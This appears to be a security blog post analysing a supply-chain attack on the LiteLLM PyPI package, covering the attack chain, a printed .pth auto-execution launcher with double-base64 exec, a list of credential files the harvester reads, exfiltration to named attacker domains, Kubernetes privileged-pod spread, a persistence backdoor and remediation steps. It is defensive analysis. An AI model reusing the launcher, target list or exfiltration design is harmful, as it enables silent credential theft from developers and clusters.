AWS Security18 min read

    Anatomy of a Supply Chain Attack: How LiteLLM Was Weaponized in 6 Hours

    Tarek Cheikh

    Founder & AWS Cloud Architect

    Anatomy of a Supply Chain Attack - How LiteLLM Was Weaponized in 6 Hours

    Yesterday, one of the most popular Python packages in the AI ecosystem was turned into a weapon. Here is exactly how it happened, what the malware does, and what every developer needs to know.

    The target

    LiteLLM is an open source Python library that acts as a unified gateway to 100+ LLM providers: OpenAI, Anthropic, Azure, AWS Bedrock, and more. It has about 95 million monthly downloads on PyPI.

    Organizations use it as their central LLM proxy. This means that by design, LiteLLM has access to every LLM API key in the organization.

    The attacker didn't pick this target randomly.

    How they got in

    The LiteLLM compromise was not a standalone attack. It was the third stage of a campaign by a threat actor tracked as TeamPCP.

    The chain

    Attack chain flow diagram - Trivy to LiteLLM to PyPI

    March 1: Aqua Security, the company behind the vulnerability scanner Trivy, gets breached. Their credential rotation after the incident is incomplete -some tokens survive.

    March 19: Using surviving credentials, TeamPCP publishes a compromised version of Trivy. The irony: Trivy is the security scanner organizations run to detect compromises. The attacker compromised the tool that detects compromises.

    March 23: Here is the critical link. LiteLLM's CI/CD pipeline had this line in ci_cd/security_scans.sh:

    curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

    No version pinning. This installs whatever the latest Trivy is -including the compromised one. When LiteLLM's CI ran its security scan, the poisoned Trivy had access to the CI environment's secrets, including PyPI API tokens belonging to maintainer krrishdholakia.

    March 23: The attacker registers the domain litellm.cloud through registrar Spaceship, Inc. The legitimate LiteLLM domain is litellm.ai. The similarity is intentional: models.litellm.cloud looks like a real API endpoint in network logs.

    March 24, 08:30 UTC: Using the stolen PyPI token, TeamPCP uploads two malicious versions directly to PyPI:

    • 1.82.7: malicious code injected into proxy_server.py
    • 1.82.8: same injection plus a .pth file (more on this below)

    No Git tag was created. No GitHub release. No pull request. The attacker uploaded directly to PyPI, completely bypassing code review.

    The weapon: what is a .pth file?

    This is the technical trick that makes the LiteLLM attack so dangerous.

    Python has a little known startup mechanism. When the interpreter starts, it scans the site-packages/ directory for files ending in .pth. These files were designed to add directories to Python's import path.

    But there is a dangerous feature: any line in a .pth file that starts with import is executed as Python code. Not added to a path. Executed. On every Python interpreter startup. Unconditionally.

    This means:

    • You don't need to import litellm
    • You don't need to run any litellm code
    • You just need litellm to be installed in the environment
    • Any python command triggers it, including python --version

    The launcher

    The attacker placed a file called litellm_init.pth (34,628 bytes) inside the wheel package. When installed via pip, it lands in site-packages/. It contains a single line:

    import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",
      "import base64; exec(base64.b64decode(base64.b64decode('PAYLOAD')))"],
      stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

    What this does:

    1. subprocess.Popen: Forks a new child process. Popen (not run or call) returns immediately without waiting. The parent Python process continues normally. The user sees no delay, no error, nothing.
    2. base64.b64decode(base64.b64decode(...)): Double base64 decoding. The outer decode produces another base64 string. The inner decode produces the actual malware. Double encoding evades scanners that pattern match on known malicious code.
    3. exec(...): Executes the decoded 331-line credential harvester in the child process.
    4. stdout=DEVNULL, stderr=DEVNULL: Suppresses all output. Silent.

    The fork bomb: an unintended side effect

    There is a catch the attacker apparently didn't fully account for. When the .pth file triggers subprocess.Popen to launch a new Python process, that new process also starts up, scans site-packages/, finds the same .pth file, and triggers it again. And again. And again.

    We observed this firsthand in our lab. Starting from a single python3 -c "print('hello')" command:

    TimePython processes
    T+0s3 (normal)
    T+1s14
    T+2s55
    T+4s133
    T+13s390
    T+18s509
    T+38s891
    T+40sMachine dead

    From 3 to 891 Python processes in 38 seconds. The machine ran out of RAM and became completely unresponsive.

    Fork bomb flow diagram - exponential Python process growth

    This is actually how the attack was originally discovered. Callum McMahon at FutureSearch noticed his machine ran out of RAM when an MCP plugin in the Cursor IDE pulled litellm as a transitive dependency.

    The payload: what it steals

    Once decoded and executing, the payload is a 331-line Python script that operates in three stages.

    Stage 1: Credential harvesting

    The script reads files from well-known paths. Every secret on the machine is a target:

    SSH credentials:

    • ~/.ssh/id_rsa, ~/.ssh/id_ed25519: private keys
    • ~/.ssh/config: host configurations, jump hosts
    • /etc/ssh/ssh_host_*_key: server host keys

    Cloud provider credentials:

    • ~/.aws/credentials: AWS Access Key ID and Secret
    • GCP service account JSON keys
    • Azure CLI token cache
    • EC2 IMDS queries (169.254.169.254) for IAM role credentials
    • AWS Secrets Manager dump via SigV4 signed API calls
    • AWS SSM Parameter Store dump

    Kubernetes:

    • ~/.kube/config: cluster access
    • Service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token
    • All secrets across all namespaces via the K8s API

    Application secrets:

    • .env files (recursive search to depth 6)
    • Shell history (~/.bash_history, ~/.zsh_history)
    • Database credentials (.pgpass, .my.cnf, redis.conf)
    • Docker registry auth (~/.docker/config.json)
    • npm tokens (~/.npmrc)
    • Terraform state and variables (terraform.tfvars, terraform.tfstate)
    • CI/CD configs (Jenkinsfile, .gitlab-ci.yml, .travis.yml)
    • Cryptocurrency wallets (Bitcoin, Ethereum, Solana, Cardano, and more)

    The script doesn't crash if a file doesn't exist. It silently skips it. It runs on any machine: developer laptop, CI runner, production server, Kubernetes pod -and takes whatever is available.

    Filesystem log showing the malware reading SSH keys, AWS credentials, git credentials

    Stage 2: Encryption and exfiltration

    The stolen data is not sent in plaintext:

    1. Generate a random AES-256 session key using openssl rand
    2. Encrypt all collected data with openssl enc -aes-256-cbc -pbkdf2
    3. Encrypt the session key with a hardcoded 4096-bit RSA public key
    4. Bundle everything into tpcp.tar.gz
    5. POST to https://models.litellm.cloud/ with an X-Filename header

    The RSA public key is hardcoded in the malware. Only the attacker holds the matching private key. Even if you capture the network traffic, you cannot decrypt the contents.

    Decoded payload showing AES encryption and curl exfiltration to C2

    Stage 3: Kubernetes lateral movement

    If the script detects a Kubernetes service account token, it escalates massively:

    1. Read all secrets across all namespaces
    2. For every node in the cluster, create a privileged pod:
      • Named node-setup-{node_name} in kube-system namespace
      • hostPID: true, hostNetwork: true, privileged: true
      • Mounts the entire host filesystem at /host
      • Tolerates all taints (runs on every node, including control plane)
      • Installs the persistence backdoor on each node via chroot

    One compromised pip install on a developer laptop can lead to every node in the Kubernetes cluster being backdoored.

    Stage 4: Persistence

    The malware installs a backdoor that survives pip uninstall:

    • ~/.config/sysmon/sysmon.py: a 44-line Python script
    • ~/.config/systemd/user/sysmon.service: a systemd service that auto-starts it

    The name "sysmon" is deliberately chosen -it mimics Microsoft's legitimate system monitoring tool. The script:

    • Waits 5 minutes before doing anything (sandbox evasion)
    • Polls https://checkmarx.zone/raw (the attacker's C2 server) every 50 minutes for new payloads
    • Downloads and executes whatever the C2 server provides
    • Has a kill switch: if the C2 returns a YouTube URL, it skips execution

    After this step, even pip uninstall litellm doesn't help. The backdoor lives outside pip's control.

    The two versions: why 1.82.8 was worse

    v1.82.7v1.82.8
    Injection in proxy_server.pyYesYes
    .pth fileNoYes
    Triggers whenYou import litellm.proxyAny Python command
    Must use litellm?YesNo, just having it installed is enough

    Version 1.82.7 was targeted -it only fires if you actually use the proxy module. Version 1.82.8 was a carpet bomb -every Python invocation triggers it.

    Discovery and response

    mitmproxy capturing all malicious traffic - IMDS queries, AWS API calls, C2 exfiltration

    12:00 UTC: Callum McMahon at FutureSearch notices his machine running out of RAM.

    13:48 UTC: Security issue disclosed on GitHub.

    15:00 UTC: PyPI yanks versions 1.82.7 and 1.82.8.

    16:00 UTC: PyPI quarantines the entire litellm package.

    The attack window was approximately 6.5 hours. During that time, anyone who ran pip install litellm or pip install --upgrade litellm received the compromised version.

    Why it worked

    Several factors aligned:

    1. Unpinned dependency in CI/CD: LiteLLM installed Trivy via curl | sh without version pinning, inheriting Trivy's compromise.
    2. PyPI token in CI environment: The publishing credentials were accessible to the CI job that ran Trivy. Principle of least privilege was not applied.
    3. No release verification: PyPI does not verify that a published version has a corresponding Git tag. Anyone with the token can upload anything.
    4. The .pth mechanism: A 22-year-old Python feature that auto-executes code on startup. No CVE. No bug. Just a feature that enables silent code execution.
    5. LiteLLM's role as a key gateway: The package, by design, has access to every LLM API key. Compromising it yields maximum credential harvest.

    What you should do right now

    If you installed litellm 1.82.7 or 1.82.8:

    1. Run pip show litellm to check your version
    2. Search for litellm_init.pth in your Python site-packages
    3. Check for ~/.config/sysmon/sysmon.py on any affected machine
    4. Check for pods named node-setup-* in your Kubernetes clusters
    5. Rotate every credential on any affected system: SSH keys, AWS keys, K8s configs, API tokens, database passwords, everything

    For everyone:

    1. Pin your dependencies. Every one. Including tools fetched via curl | sh.
    2. Scope your CI/CD secrets. Publishing tokens should only be accessible to dedicated publishing jobs.
    3. Use PyPI Trusted Publishers (OIDC-based publishing from GitHub Actions, no static tokens to steal).
    4. Periodically scan site-packages/ for .pth files containing executable code.
    5. Check that your PyPI dependencies have matching GitHub tags.

    Going deeper

    In Part 2, we detonate the real compromised package on an isolated EC2 instance and capture every stage of the attack with mitmproxy, strace, and inotifywait. We see the fork bomb in real-time, watch the credential harvester read our honeypot files, and intercept the exfiltration attempt.

    Full analysis repo with malware samples, lab scripts, and evidence: https://github.com/TocConsulting/litellm-supply-chain-attack-analysis

    Go Deeper: The State of AWS Security 2026

    This article is just the start. Get the full picture with our free whitepaper - 8 chapters covering IAM, S3, VPC, monitoring, agentic AI security, compliance, and a prioritized action plan with 50+ CLI commands.

    LiteLLMSupply ChainAWS SecurityIMDSIncident ResponseThreat IntelPythonCI/CDPyPIKubernetesSecrets ManagerRansomwareMalware Analysis